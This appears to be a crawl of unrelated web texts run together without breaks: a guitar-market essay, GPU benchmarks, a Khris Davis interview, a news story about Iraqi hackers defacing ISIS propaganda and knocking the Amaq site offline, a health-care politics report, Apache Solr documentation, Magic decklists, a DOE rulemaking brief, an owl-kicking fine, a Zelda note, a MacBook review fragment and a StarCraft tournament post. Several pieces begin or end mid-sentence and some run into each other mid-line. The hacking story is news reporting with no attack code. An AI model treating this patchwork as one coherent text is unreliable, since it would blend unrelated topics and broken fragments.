Did the “death of the guitar” in the synth-soaked ‘80s curb price increases? Did the introduction of Sigma and Shenandoah models in the ‘80s produce a similar model creep for the D-28?
More than likely there’s another explanation...
Culture And History Have Changed The Guitar Market
Guitars themselves haven’t changed that much since the 1950s. The place certain guitars occupy within American culture, however, has changed immensely.
Imagine it’s 1958.
There are only a handful of solid-body electric guitar models available, and all of them are brimming with new technology: tremolo bridges, Seth Lover’s humbuckers, new single coils, incredibly feedback-resistant bodies. The guitarists you see playing these new instruments grew up playing flattop or archtop acoustics. It’s an exciting time. Some players are quick to explore new sonic territory. Others dismiss the electric boom as a fad.
There is no older generation with fond memories of attending concerts or seeing TV shows with their favorite players wielding iconic axes. Rock is still an embryonic form of music. There are no films, books or magazines lionizing the history of certain guitar models. Retirees with disposable income are not buying electric guitars and turning old bedrooms into music rooms.
Feelings about the new models tend either towards heady excitement or cautious skepticism — not sentimentality and nostalgia. Manufacturers are not producing icons yet. They are simply experimenting and trying to establish themselves in a new ballgame.
"'Too expensive' is a blurry line when the dream guitar of your youth is finally within reach and the only thing stopping you is principle."
Now bring yourself back to 2016.
Decades of recordings, concerts, media coverage and advertising campaigns have created cult followings around certain guitar models. Millions of teenagers from the ‘60s are now in their sixties. Most could not afford a Les Paul or D-28 in their youth, but now many of them have more money. Much more money. “Too expensive” is a blurry line when the dream guitar of your youth is finally within reach and the only thing stopping you is principle.
At the same time, electric guitar sales have stagnated. Increasingly segmented fan bases fostered by streaming services like Spotify, Tidal and Apple Music have replaced the radio-and-MTV-fueled rock oligarchies that propelled certain players and guitar models to legendary status. It’s unclear who the torchbearers of guitar-centric platinum records are, and the candidates for that title play models made by companies that don’t exist anymore (here’s looking at you, Jack White and Dan Auerbach).
Nonetheless, there’s a bloom of boutique guitar offerings, both at the high end (Fano, Kauer, Koll, Relish, Nash, Bilt, Knaggs, etc.) and low end (Michael Kelly, Eastwood) of price ranges. Modern scanning and manufacturing techniques make it possible to build nearly anything a customer wants. As some have argued, it’s the golden age of guitar building.
Now imagine you’re an executive in charge of one of the biggest and oldest guitar companies.
You have the entire cultural legacy of your most popular models to leverage. Many loyal customers demand that you change nothing about them. Others cry out for reform. There’s as much tempting opportunity as uncertainty. On the other hand, there’s also a haunting suspicion that demand for your oldest models may nosedive in twenty years.
What do you do?Every time the flagship GPUs from both sides launch, people are on the lookout for benchmark comparisons. But perhaps nothing screams the ultimate showdown as much as not one, not two but four Nvidia GTX TITAN-X’s and four AMD Radeon R9 Fury X going head to head in a 4K (dare I say it) battle to the death. The benchmarks have been provided courtesy of DGLee over at IYD.KR.
Four TITAN-X’s and 980 Tis face down Four R9 Fury in the ultimate 4K benchmarking round
Allow me to indulge myself this one time. Ladies and gentlemen, welcome to the Four, Four, Four, 4! On one side of the ring, hailing from parts unknown and shrouded in Red, we have the mysterious AMD Radeon R9 Fury X. On the other side, the defending champion, the king of Green, the Nvidia Geforce GTX TITAN-X. The arena is 4K and the name of the games are given below. Now that I am done being childish, given below are the specifications of the test system used to run the benchmarks:
CPU: Intel Core i7 5960X Extreme Edition (3.5Ghz Turbo)
RAM: 8GB DDR4 2400 Mhz/
Motherboard: ASUS Rampage V Extreme
OS: Windows 8.1 Pro
Driver AMD: Catalyst 15.15 beta
Driver Nvidia: Geforce 353.30 WHQL
Since DGLee is using Windows 8.1 OS, we are stuck with DirectX 11 and I think our readers with agree with me here that this rig leaves no room for CPU bottlenecks. With one of the most powerful processors known to man, rocking 16 threads, this processor has all the overhead necessary for running 4 GPUs at once (not to mention the required PCI-e lanes). At any rate, even if there is CPU bottlenecking to any significant degree, since both cards will be tested on this system, the test is scientifically correct. Without any further ado given below are the benchmarks starting with 4K:
Image credits: DGLee IYD.KR
Something very interesting is happening in these 4K benchmarks. When running a single card, the Geforce GTX TITAN-X takes the lead, whileas the GTX 980 Ti and the Radeon R9 Fury X are exactly head to head. Upon adding one more graphic card to the mix, the GTX 980 Ti falls behind. Out of the TITAN-X and the R9 Fury X, the latter gains the lead. In both Triple and Quad configurations, the Fury X easily pulls ahead, putting as much as 15% (overall) difference between the green counterparts. Take a look now, at the the Quad HD standard (2560×1440):
Image credits: DGLee IYD.KR
Here, there is quite a big difference between the green team and the red team. The R9 Fury X is behind by 7 percent to the GTX 980 Ti and almost 10% to the GTX TITAN-X. Upon adding another card, the Fury X pulls up with the 980 Ti while as the TITAN-X enjoys a lead of 2%. Just like before the Fury X scales better in Triple and Quad configurations but the difference is slightly less this time. Finally, here is the overall result of the 1080p standard:
Image credits: DGLee IYD.KR
At 1080p, the R9 Fury is approximately 13% overall behind the TITAN-X and the green counterparts maintain their lead as the Crossfire or SLI scales with approximately the same aggregate performance in Quad SLI/CF. Something very interesting happened in these benchmarks. For one thing, we know that the Radeon R9 Fury scales much better than the Geforce counterparts upto and including Quad Crossfire, whileas the TITAN-X and the 980 Ti only scale well up to Dual SLI.
We also see that in FHD and QHD Nvidia’s GPUs have a distinct advantage in Single and Dual GPU Configurations, whileas in 4K the advantage goes to AMD. Ofcourse one thing you have to realize is that the above benchmarks are aggregated and if you want a more detailed idea then looking at individual benchmarks is a must. Since not all games have the same optimization for both IHVs, adding them all together will result in a high margin of error. There are some titles where the R9 Fury sweeps the floor with green mops and some where the opposite is true. Therefore, the only safe thing to say would be: Both offerings exchange blows, resulting in what could only be called, dead heat. If you want to investigate more into the matter, here are the individual and detailed benchmarks:
Image credits: DGLee IYD.KRBefore 2013, Khris Davis was relatively unknown among casual Brewers’ fans, as he was never among the organization’s top prospects, despite putting up tremendous numbers in the minor leagues.
But after a powerful spring training in 2013, Davis made the Opening Day roster for the first time in his young career. However, because he was backing up MVP left fielder Ryan Braun, playing time was scarce, and Davis was unable to find a groove. He was sent down to the minors after just a month in the bigs.
Davis was called back up in July, and this time, he made sure to stick around. With Braun suspended for 65-games for performance-enhancing drug use, Davis showed he had more than enough talent to be an everyday player.
In 56 games, Davis hit.279 with 11 home runs and 27 RBI. His performance prompted the Brewers to trade Norichika Aoki this offseason and move Braun to right field (a move he was publicly okay with) to make room for him in left.
Davis is expected to man left field for the Brewers in 2014, but he isn’t taking anything for granted.
I was lucky enough to ask Davis a couple of questions about the upcoming season.
Is there something in particular you need to improve on this season?
I want to continue learning and proving I belong in the big leagues. I have a long way to go to be established and stick there.
What are your expectations for the team this year? Do you think you guys are capable of making the playoffs?
I am expecting to win the little battles and be positive. Hopefully, we surprise people since we play in a good division.
You hit 11 home runs in just 136 at-bats last season. Were you surprised you picked up the major league game so quickly?
No. I felt ready when I was called back up. There is a lot more I want to prove. I have to constantly prove I belong.
According to “expert” prospect lists, you were never really considered a top prospect. Does that motivate you at all?
Nah. A lot of that stuff is political money I don’t know much about. I like being the secret weapon, though. If you base prospects on love for the game, instincts and baseball IQ, I would have ranked higher.
Make sure to follow Davis on Twitter (@khrisdavis2)If you can think of things that would piss off members of Isis, making them look stupid or hypocritical is up there. Now a group of young Iraqi hackers have embarrassed the supposedly tech-savvy terrorist group by posting porn in its official propaganda.
One stunt performed by the hackers was to photoshop a picture of a naked woman into an announcement about a new media centre in Isis-controlled Syria, making it look as though Isis leaders had been watching porn.
Credit: PA
Members of Daeshgram, the Iraqi hacking group responsible for the hacking, said they wanted to spread distrust among Isis supporters about messages sent by the group's official comms channels. Mission accomplished, it looks like.
"Our intention was to flood the market with fake Amaq content in order to dilute the credibility of Amaq - a so-called news agency," an anonymous member of Daeshram told Newsweek.
"Daesh responded by telling supporters not to trust any of the Amaq links. They even had fights among themselves about the topic and deleted each other from various groups."
Daeshgram - whose name is a pun on Instagram and the Arabic word for Isis, Daesh - concentrates on disrupting pro-Isis groups on the encrypted instant messaging service Telegram, which is often used by Isis supporters.
Credit: PA
Alongside the hacking, Daeshgram inflicted further confusion upon Daesh as it also hit the terror group's media website Amaq with a distributed denial of service (DDOS) attack. A DDOS attack floods a website with such high levels of incoming traffic that the website is forced to go offline.
With the original website down, the hackers then created an identical version of the Amaq page making fun of the terror group's ideology.
The hackers even spent months studying Isis' media channels so they could mimic their language more effectively. Impressive effort.
This is not the first time that hackers have targeted Isis by flooding their online media with filth.
Just last year the anonymous hacker WachulaGhost tried to disrupt the group's social media accounts by filling them with gay porn.
WachulaGhost claimed to have hacked more than 250 social media accounts linked to Isis supporters and sympathisers, replacing all the content on them with porn and gay pride messages.
WachulGhost told CNNMoney: "There was a few of us... that discovered a vulnerability. We thought, 'Hey let's go start taking their accounts... and humiliating them.'"
This probably won't be the last time that Isis will be targeted by hackers in this way. Maybe it should just learn to stop worrying and love the pr0n.
Source: The Independent
Featured Image Credit: PAPresident Donald Trump has publicly expressed enthusiasm about the bill. But in conversations with aides, he has turned back to one topic: What can the White House do that is seen as "repeal and replace?" | Evan Vucci/AP Photo Trump publicly backs health care effort, privately harbors doubts While the president appears all in some in the White House wonder about Graham-Cassidy’s contents and its chances.
In public, President Donald Trump is all-in on the Senate’s final chance to repeal Obamacare. But privately, there’s ambivalence in the White House about the bill’s contents and its chances of clearing the tightly divided chamber next week.
Trump spent time between meetings at the United Nations calling senators and other senior White House officials about the Graham-Cassidy bill, asking for updated vote tallies and how to woo senators for the bill. White House officials have considered tweaking the state funding to win a vote from GOP Sen. Lisa Murkowski of Alaska — and others. Trump has also publicly excoriated Kentucky Sen. Rand Paul for voting against the legislation, telling aides he would go after other senators.
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"Repeal and Replace!" he said. Trump also defended Sen. Bill Cassidy (R-La.) from Jimmy Kimmel’s scathing criticisms of the bill, concluding that Cassidy is a “class act.”
The public stance is coupled with a sense of doubt inside the White House, though, about the bill and deep concerns about whether it can pass the Senate or House, according to administration officials and congressional sources. These people say the president and his team have little sway with some key members, like GOP Sens. Susan Collins of Maine, John McCain of Arizona and Murkowski, the trio that tanked Republicans’ repeal attempt in July.
In fact, many Republicans on Capitol Hill believe that Trump cost them Murkowski’s vote in a private phone call this summer. And the president has refrained from making as many calls this go-round, one person familiar with his whipping said.
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Several White House officials described the president as determined to sign something — anything, really. And they noted that the bill has drawn concerns from conservative groups for enshrining some parts of Obamacare and taking attention away from tax reform.
“That’s not a very ringing endorsement, when people start out with it’s better than nothing,” Paul said when asked about the White House and leadership argument. “They think that people just want us to do something and do anything."
Vice President Mike Pence's office is seen on the Hill as being more involved in the bid, though, led by legislative affairs head Marc Short. Seema Verma, the head of CMS, has also held a number of meetings with senators and their aides.
The White House and Sens. Lindsey Graham (R-S.C.) and Cassidy have received praise from some anti-abortion groups because the bill will allow states to strip Planned Parenthood’s funding, and the bill would end the subsidies they hate. But people in the White House privately admit it is nowhere near what they wanted.
One official said the concerns from governors have alarmed some in the White House — and that "we really aren't sure what the impact will be” of passing the bill. They also fear that the bill could bring political blowback from the left and right.
Trump has publicly expressed enthusiasm about the bill, tweeting about it repeatedly. But in conversations with aides, he has turned back to one topic: What can the White House do that is seen as "repeal and replace?" a phrase he likes to repeat.
So far conservatives are hesitant to describe the bill in that way.
"I don't think it is repeal or replace. We shouldn't tell people it is. It is a step toward repeal," said David McIntosh, who leads the influential Club for Growth.
Yet in the Senate, the majority of the caucus’s 52 Republicans are excited about one last go-around, and many have bought into the binary argument that leaders and the president are making: That the bill to block grant federal health care funding to the states is far better than keeping the status quo.
“Everybody speaks for themselves. But the more I learn about Graham-Cassidy, I think it’s a heck of an improvement over everything we’ve come up with,” said Sen. Richard Shelby (R-Ala.). “If you want to get rid of Obamacare, this is a great way to do it. But not just to do it: But to do something with a lot of potential.”
But concern among the half-dozen or so undecided senators centers more on the massive transfer of federal spending from blue states to red states, the centerpiece of the Graham-Cassidy proposal. Several senators are still awaiting state-specific reports on the Graham-Cassidy bill and are uncomfortable voting for the legislation without a better idea of how it affects their states, according to Republican sources.
Trump’s whipping operation is focused around Sen. Lindsey Graham (R-S.C.), who has been speaking to both Trump and Pence on a regular basis, according to a person briefed on the calls. Graham is updating Trump and the White House on the current state of play on the Senate, and has both publicly and privately urged Trump to “fight” for Obamacare repeal. Graham’s also triangulating the effort by speaking regularly with Senate Majority Leader Mitch McConnell (R-Ky.).
And both GOP leaders and the White House seem to be relying on the idea that if they get Murkoswki and McCain, the rest of the party will fall in line. Sens. Rob Portman (R-Ohio), Cory Gardner (R-Colo.) and Shelley Moore Capito (R-W.Va.) are still undecided, for example, but whipping efforts have been concentrated elsewhere.
Trump has also spoken to Paul, but he has resisted the president’s entreaties and a tweet targeting him as a negative presence on Obamacare. He is the firmest “no” in the Senate, surpassing even Sen. Susan Collins (R-Maine), a moderate who is expected to oppose the bill.
With that margin, the president and McConnell have no further room for error, even as their allies try to project a sunny mood.
““I’m from Texas so I’m an optimist,” said Senate Majority Whip John Cornyn of Texas. “You hear a lot of loud voices but I think we’ve got an opportunity to get things done.”TM
Apache Solr TM 4.5.1 Documentation
Solr is the popular, blazing fast open source enterprise search platform from the Apache Lucene project. Its major features include powerful full-text search, hit highlighting, faceted search, dynamic clustering, database integration, rich document (e.g., Word, PDF) handling, and geospatial search. Solr is highly scalable, providing distributed search and index replication, and it powers the search and navigation features of many of the world's largest internet sites.
Solr is written in Java and runs as a standalone full-text search server within a servlet container such as Jetty. Solr uses the Lucene Java search library at its core for full-text indexing and search, and has REST-like HTTP/XML and JSON APIs that make it easy to use from virtually any programming language. Solr's powerful external configuration allows it to be tailored to almost any type of application without Java coding, and it has an extensive plugin architecture when more advanced customization is required.
This is the official documentation for Apache Solr 4.5.1.
Reference Documents
Wiki: Additional documentation, especially focused on using Solr.
Changes: List of changes in this release.
System Requirements: Minimum and supported Java versions.
Solr Tutorial: This document covers the basics of running Solr using an example schema, and some sample data.
Lucene Documentation
API JavadocsH ere are the decklists for the Return to Ravnica Intro Packs. Seriously, right here!
Azorius Advance
Wield the might of the Azorius, and crush your opponents beneath the weight of the law.
The Azorius aren't the usual tedious, droning bureaucrats. They take a more "activist" approach. Start the game off with a few threats like Concordia Pegasus, Soulsworn Spirit, or Stealer of Secrets, then capitalize on the detain mechanic to ensure that your opponent's threats never get in the way of your attack. Powerful cards like Righteous Authority and Archon of the Triumvirate perform double duty, developing your board while neutralizing your opponent's ability to interact with your ccreatures.
This deck plays out like a classic tempo-oriented deck, putting on pressure from the earliest turns of the game and never relenting until the opponent falls. In a tempo deck, a "pump" spell like Swift Justice saves your attacking creature to fight again another day, and a "bounce" spell like Dramatic Rescue gets a potential blocker out of your way before combat. Evasive creatures like Skyline Predator and Battleflight Eagle will fly right over the top of your opponent's defenses. Don't be afraid to cast your inexpensive creatures with detain abilities when your opponent has no creatures. You have to keep up the attack!
If you want your air force to pack more of a punch, blue-white cards like Geist of Saint Traft from the Innistrad set and the Azorius guild's own Isperia, Supreme Judge can ensure you're always hitting hard. Card-drawing powerhouses like Sphinx's Revelation or the Innistrad set's Sturmgeist can make certain that your threats keep coming. Finally, if you want to keep your opponent's threats locked safely behind bars, look no further than Martial Law, an enchantment that detains a creature of your choice every turn.
Izzet Ingenuity
The mad geniuses of the Izzet League are known for their brilliant innovation—and catastrophic experimentation. The "Izzet Ingenuity" deck takes advantage of both. When you win, you win big. Harness the genius of the Izzet League, and immolate your opponents with a flurry of arcane power.
Start out by building yourself an army—the Goblin tokens created by Krenko's Command and Goblin Rally are a good start—then add an air force of flying creatures like Welkin Tern and Runewing. Use Cobblebrute to trade with bigger threats, and attack with a flier when you can. Spend the early turns getting creatures onto your own side of battlefield rather than casting spells to deal with your opponent's creatures.
When your opponents least expect it, pull the trigger with an Electrickery or Teleportal, and they'll never know what hit them. Or untap with a Guttersnipe on the battlefield ready to turn a burst of instant and sorcery spells into tons of damage. Or play your fifth land to cast Hypersonic Dragon and immediately send it in on offense. Or maybe you'll just cast a spell with overload like Mizzium Mortars or Blustersquall to devastate your opponent's defenses and then charge in to end the game.
If you find yourself looking to cast even bigger flurries of spells, the flashback mechanic from the Innistrad block is a great way to ensure that your Guttersnipes and Blistercoil Weirds live up to their potential. Cards with flashback can be cast a second time from your graveyard. If big monsters are more your cup of tea, look to Izzet cards like Utvara Hellkite and Niv-Mizzet, Dracogenius himself.
Rakdos Raid
With the "Rakdos Raid" deck, you'll rein in the chaos of the Rakdos horde, and revel in the carnage of your enemy's downfall. At the core of the deck are creatures with the unleash ability. A creature with unleash can enter the battlefield with a +1/+1 counter on it—if it gives up the idea of playing defense. Get ready to start attacking your opponent and hit hard and fast.
In the early game, you should use the unleash ability of nearly every creature you cast. Creatures like Rakdos Cackler and and Rakdos Shred-Freak take chunks out of your opponents' life totals before they can even react. Keep bringing the pain with enormous, high-impact threats like Minotaur Aggressor and Cryptborn Horror, while using your removal spells to kill any blocker that stands in the way.
When your opponents attempt to stabilize by keeping creatures back on defense, spells like Traitorous Instinct and Crippling Blight will punish them for giving you that extra time while you maintain the tempo of your attack. If your assault isn't enough to end the game, you can use cards like Hellhole Flailer and Shrieking Affliction to finish things off.
If you're looking for a few more giant creatures to complement this deck, check out Thundermaw Hellkite from the Magic 2013 core set or Desecration Demon. If you enjoy watching your opponents struggle to keep cards in their hands when you have Shrieking Affliction on the battlefield, try Liliana of the Veil, a planeswalker card from the Innistrad set. If you simply want to bring the maximum amount of power to the battlefield in the minimum amount of time, consider calling on Rakdos, Lord of Riots himself.
Golgari Growth
The Golgari don't discriminate based on paltry factors like whether a creature is alive. Any warm—or cold—body will do the job. That's why the scavenge mechanic is so powerful: when you put that card's power back on the battlefield in the form of +1/+1 counters, it's like the creature never died at all!
The first few turns will play out just as they would with any deck: cast creatures, develop your board, remove threats. Eventually, though, your opponents will be forced to kill your Drudge Beetles, Korozda Monitors, and Terrus Wurm. That's when the scavenge mechanic kicks into gear. Pile a swath of +1/+1 counters onto whichever creature you have left, and your opponents can't help but succumb to the assault.
The key to winning with this deck is to always have a creature on the battlefield. Because so many of your cards can be reused from the graveyard, it will often be the best play to trade resources with your opponent. At the same time, though, you don't want to leave those scavenge cards stuck in your graveyard. If you can scavenge, say, a Dreg Manger, to put three +1/+1 counters on a Daggerdrome Imp, you'll be attacking with a 4/4 creature with flying and lifelink every turn. With numbers like that, who cares what your opponent is up to?
If you want to take the graveyard aspect of this deck even further, look to Jarad, Golgari Lich Lord, who can transform a graveyard full of fresh bodies into a powerful asset. Alternatively, if a fast Wild Beastmaster–fueled assault is more up your alley, the regenerating Lotleth Troll provides a ready docking bay for all the +1/+1 counters you'd ever care to throw around.
Selesnya Surge
Unite together behind the banner of Selesnya, and take command of an army that adds to its ranks with every step. This deck centers around the Selesnya guild's populate mechanic, which allows you to make a copy of any creature token you control. That means your first order of business is getting a token onto the battlefield as quickly as possible.
Seller of Songbirds, Centaur's Herald, and Call of the Conclave are great token-making cards to get things started. Not only do you get creatures on the battlefield, but those tokens make populate spells like Trostani's Judgment and Druid's Deliverance substantially more powerful as they spawn a creature to go along with their regular effect. Before you know it, your side of the battlefield will be filled with too many creatures for your opponent to handle.
Remember that there's a big difference between having zero tokens on the battlefield and having one, even if it's nothing but a 1/1 Bird. That single Bird can turn into a flying armada with a couple attacks from Wayfaring Temple or get a sizable boost from Phantom General. But the token made by Grove of the Guardian is at the top of the pyramid. If one 8/8 with vigilance is difficult to deal with, imagine what it's like to contend with a battlefield full of them!
If you're looking to take this deck in a different direction, one of the best ways to go is up. Entreat the Angels from the Avacyn Restored set can summon an insane number of 4/4 flying Angels, and the 5/5 Armada Wurm brings along a 5/5 Wurm friend when it enters the battlefield. And like a true guild leader, Trostani, Selesnya's Voice can tap to populate every turn.Dive Brief:
The Department of Energy pushed the Federal Energy Regulatory Commission on Friday to boost compensation for generators providing baseload power supplies, proposing the most significant overhaul in the nation's competitive power markets in over a decade.
DOE filed a Notice of Proposed Rulemaking (NOPR) under the Federal Power Act to enhance grid resilience, directing FERC to "accurately price generation resources necessary to maintain reliability and resiliency." The rule would provide for "recovery of costs of fuel-secure generation units frequently relied upon to make our grid reliable and resilient."
The filing comes after the completion of a grid reliability study from DOE that urged federal regulators to explore boosting compensation for baseload generators. The NOPR directs FERC to act within 60 days.
Dive Insight:
Released at the end of August, the Department of Energy's grid study concluded that the reliability of the bulk power system is strong today, but changes in the resource mix could present challenges in the future. The report urged federal regulators to begin examining how to better compensate generators for the services they provide for reliability and resilience if it finds reliability is threatened.
The North American Electric Reliability Corporation (NERC) stresses that the grid is not at risk today, with its CEO telling Congress this month that reliability measures are strong and improving.
Even so, Secretary of Energy Rick Perry has been beating the reliability drum in recent days, describing resilience from outages as a national security issue, saying his agency could act to preserve the diversity of the fuel mix and ensure that baseload generation stays online. Coal and nuclear plants across the country are under threat of retirement in the face of competition from cheaper natural gas and renewables.
On Friday, the DOE took a significant step toward those goals, outlining what would be the biggest overhaul in competitive energy markets since their establishment in the late 1990s.
Under the NOPR, generating units in wholesale power markets that have a 90-day fuel supply onsite would be eligible for "full recovery of costs." The plants must be able to provide ancillary and reliability services, be compliant with environmental regulations, and not be subject to cost-of-service recovery by a state.
The rule requires power market operators to "establish just and reasonable rate tariffs for the recovery of costs and a fair rate of return."
The NOPR does not detail precisely how the generators would be compensated or who would pay, but its general structure would give immediate assistance to coal, nuclear and hydroelectric generators, which all have multi-day fuel supplies onsite.
DOE draws on themes from the grid study to justify the rule, saying it is necessary to protect from "energy outages expected to result from the loss of this fuel-secure generation" and because of "recognition that organized markets do not pay generators for all the attributes they provide."
FERC regulators, who must implement the NOPR, have expressed support for revising plant compensation for resilience attributes. Acting Chairman Neil Chatterjee has said repeatedly that coal plants are not rewarded properly for their attributes today, and told lawmakers this month that the issue is a top priority for the commission. Pending FERC nominees have also expressed support for reforms based on generation attributes.
FERC, however, is an independent agency, and is not required to implement any specific provision of the DOE NOPR. Former commission Chairman Jon Wellinghoff, a Democrat, stressed that "FERC doesn't have to do anything."
"I would set [the NOPR] over to the side someplace under a pile of papers because it would be something that I wouldn’t even consider or entertain," he said on a phone call.
The new NOPR is likely to please operators of coal and nuclear plants. Earlier this year, the CEO of Exelon, the nation's largest nuclear generator, urged DOE and FERC to boost baseload compensation in an interview with Utility Dive.
“[Nuclear] provides more benefits than just megawatts," CEO Chris Crane said. "The resiliency, fuel diversity — it's important that is factored into price formation.”
The NOPR presses FERC to act within 60 days, but Chatterjee and other commissioners have stressed the agency's independence, and the acting chairman indicated during FERC's monthly meeting that he does not want to move forward on major issues until the final two vacancies at the agency are filled.
When FERC does act, it will need to build a regulatory record with input on how generation attributes should be valued. Already, some energy lawyers have expressed skepticism that the agency can finalize a new rule using the DOE's directives as a framework.
"I would say this is not a proposed rule that could form the basis of a final rule," said Ari Peskoe, senior fellow in electricity law at Harvard Law School's Environmental Policy Initiative. "Usually proposed rules have far more detail that would provide a basis for comments on specific aspects of the proposal and that's not really here."
The vagueness of DOE's proposal will mean FERC will "essentially need to start over" to frame a workable rule, he added.
"I think if FERC is serious about doing this it can't possibly meet the timeline outlined by DOE," Peskoe said. "It will essentially have to use this as a prompt for comments and then from that actually develop a proposed rule."Panama international Moreno ordered to do community work at a zoo after infamous owl kick
By Sportsmail Reporter
Panama international Luis Moreno has been heavily fined and ordered to do community work at a zoo after infamously kicking an owl during a Colombian championship match.
It was the latest unhappy twist for Moreno who has already completed a two-match ban imposed by the league for the incident in February and is now serving a seven-match ban for kicking a grounded player in another game.
Pereira defender Moreno kicked the owl, regarded as a mascot by the home crowd, after it had strayed on to the pitch and been hit by the ball during his team's 2-1 defeat by Atletico Junior in the Caribbean city of Barranquilla.
F-Owl play: Luis Moreno kicked the defenceless bird in February
The city's Office for the Environment (DAMAB) slapped a 26.78 million Colombian peso (£9,080) fine, equivalent to 50 times Colombia's minimum wage, on Moreno on Wednesday.
Moreno will also have to meet costs of 600,000 pesos for treatment of the owl, which died two days after the kicking incident, make a public apology to the city and do community work at the local zoo, DAMAB director Humberto Mendoza told the local daily newspaper El Tiempo.Get the latest news and videos for this game daily, no spam, no fuss.
Nintendo has released a new gameplay video for The Legend of Zelda: Breath of the Wild. The video, posted to Nintendo's Japanese YouTube account, features Japanese comedian Masaru Hamaguchi playing the game and cracking jokes. He's in the comic group Yoiko, together with Shinya Arino.
English captions are not available, so you might miss out on the jokes, but the gameplay footage is universal. We see Link adventuring through gorgeous environments, fighting monsters, and collecting items. It appears this is the Wii U version of Breath of the Wild on display here |
ble, can easily handle multiple apps running, loads of browser tabs, 4K video playback and encoding, and much more. Still, the m5 processor and integrated graphics doesn’t yet rival the performance that you’d find in a high end MacBook Pro or iMac. The MacBook can probably meet the needs of most casual users, but count the cost and consider your workflow. Set your expectations accordingly.
If you use a lot of USB peripherals on a regular basis, then the one USB-C port is going to take a change in mindset. It helps if you have a USB-C equipped monitor like the LGn27UD88-W, which can serve as a one cable docking solution, but it’s understandable that not everyone would be up to drop that sort of dough on a monitor when they just spent this much on a MacBook. Instead, it might be more cost effective to invest in a USB-C hub for your MacBook. If you need something more robust, then OWC’s USB-C Dock may be a better option.
With its integrated Intel 515 graphics, the MacBook isn’t a good choice if you’re looking for a gaming machine, but for virtually everything else, it can be a solid pick. If you’re laser-focused on getting work done on the go with a small form-factor machine, then I think that you should consider the MacBook before you consider a MacBook Air, or even an iPad Pro.
You can purchase this year’s MacBook refresh from Apple, or BestBuy, but I suggest looking at B&H as well. In most cases, unless you happen to live in New York, you can get a 2016 MacBook shipped for free and without sales tax.
What are your thoughts on this year’s MacBook refresh and the MacBook in general?compLexityGaming Profile Joined January 2011 United States 98 Posts Last Edited: 2011-05-06 03:58:49 #1
THE EVENT BEGINS FRIDAY MAY 6!
Click HERE to visit the tournament page
On behalf of compLexity Gaming, we would like to officially welcome you to the SoundBlaster Tactic3D Tournament presented by Frys! We are very excited for this event, as it will allow North America's amateurs and professionals to come together to compete for $10,000 in cash and prizes. Below you can find more details about the event including the format, dates and prizing.
The Tactic3D Tournament will take place in three phases throughout the month of May, two open/amateur phases and one combined phase.
Preliminary Phase
The "Preliminary Phase" of the event will consist of an open 1,024 player tournament with 32 brackets of 32 players each. All rounds will be a best-of-3 single elimination. The top 4 from each bracket (128 total players) advance to the Qualifying Phase.
Qualifying Phase
The “Qualifying Phase” will consist of online best-of-three single elimination play among remaining 128 players who will be randomly placed into brackets. Play will continue until an amateur winner is determined. The top 32 players will advance to the “Tournament Phase” to take on the invited professional players.
Tournament Phase
The "Tournament Phase" will consist of the top 32 from the Qualifying Phase playing with 32 invited players. Brackets will be randomly seeded so that each invited player competes against a top 32 player from the Qualifying Phase in the first round. All early rounds will be best-of-3 single elimination. The Round of 8 will be best-of-5 single elimination. The remaining rounds will be played in a best-of-7 single elimination.
First map played:
Shakuras Plateau - Normal, non-MLG version, published by Blizzard
Remaining maps (loser picks):
GSL Crevasse - On North American Battle.net, published by SzOmOru
GSL Cross Fire SE - On North American Battle.net, published by SzOmOru
GSL Taldarim Altar - On North American Battle.net, published by SzOmOru
Xel'Naga Caverns - Normal, non-MLG version, published by Blizzard
Metalopolis - Normal, non-MLG version, published by Blizzard
GSL Terminus RE - On North American Battle.net, published by SzOmOru
ROOT.drewbie
ROOT.Destiny
ROOT.CatZ
ROOT.Ddoro
ROOT.Minigun
Fnatic.KawaiiRice
coL.Stalife
coL.CrunCher
coL.rsvp
coL.Ryze
EG:IdrA
EG.iNcontroL
EG.Axslav
EG.Machine
sixjax.ViBe
sixjax.dde
sixjax.Mihai
LG.PainUser
LG.Agh
LG.Zelniq
LG.Response
Liquid`Tyler
FXO.Sheth
FXO.moonan
Vile.HasHe
Dignitas.SeleCT
VT.Spades
VT.Future
vVv.Murder
Check6.ThisIsJimmy
ONE.Bubbles
eMg.Darkcell
*Invited but not confirmed as of this post
Casters for the event include DJWheat, JP McDaniel and AskJoshy.
Click HERE to visit the tournament page for more information and registration.
Watch for our advertisements here on TL! Thanks for your support!
Visit compLexity Gaming
#compLexity on Gamesurge & Quakenet IRC On behalf of compLexity Gaming, we would like to officially welcome you to the SoundBlaster Tactic3D Tournament presented by Frys! We are very excited for this event, as it will allow North America's amateurs and professionals to come together to compete for $10,000 in cash and prizes. Below you can find more details about the event including the format, dates and prizing.The Tactic3D Tournament will take place in three phases throughout the month of May, two open/amateur phases and one combined phase.The "Preliminary Phase" of the event will consist of an open 1,024 player tournament with 32 brackets of 32 players each. All rounds will be a best-of-3 single elimination. The top 4 from each bracket (128 total players) advance to the Qualifying Phase.The “Qualifying Phase” will consist of online best-of-three single elimination play among remaining 128 players who will be randomly placed into brackets. Play will continue until an amateur winner is determined. The top 32 players will advance to the “Tournament Phase” to take on the invited professional players.The "Tournament Phase" will consist of the top 32 from the Qualifying Phase playing with 32 invited players. Brackets will be randomly seeded so that each invited player competes against a top 32 player from the Qualifying Phase in the first round. All early rounds will be best-of-3 single elimination. The Round of 8 will be best-of-5 single elimination. The remaining rounds will be played in a best-of-7 single elimination.First map played:Shakuras Plateau - Normal, non-MLG version, published by BlizzardRemaining maps (loser picks):GSL Crevasse - On North American Battle.net, published by SzOmOruGSL Cross Fire SE - On North American Battle.net, published by SzOmOruGSL Taldarim Altar - On North American Battle.net, published by SzOmOruXel'Naga Caverns - Normal, non-MLG version, published by BlizzardMetalopolis - Normal, non-MLG version, published by BlizzardGSL Terminus RE - On North American Battle.net, published by SzOmOruROOT.drewbieROOT.DestinyROOT.CatZROOT.DdoroROOT.MinigunFnatic.KawaiiRicecoL.StalifecoL.CrunChercoL.rsvpcoL.RyzeEG:IdrAEG.iNcontroLEG.AxslavEG.Machinesixjax.ViBesixjax.ddesixjax.MihaiLG.PainUserLG.AghLG.ZelniqLG.ResponseLiquid`TylerFXO.ShethFXO.moonanVile.HasHeDignitas.SeleCTVT.SpadesVT.FuturevVv.MurderCheck6.ThisIsJimmyONE.BubbleseMg.Darkcell*Invited but not confirmed as of this postCasters for the event include DJWheat, JP McDaniel and AskJoshy.Watch for our advertisements here on TL! Thanks for your support!#compLexity on Gamesurge & Quakenet IRC compLexity Gaming
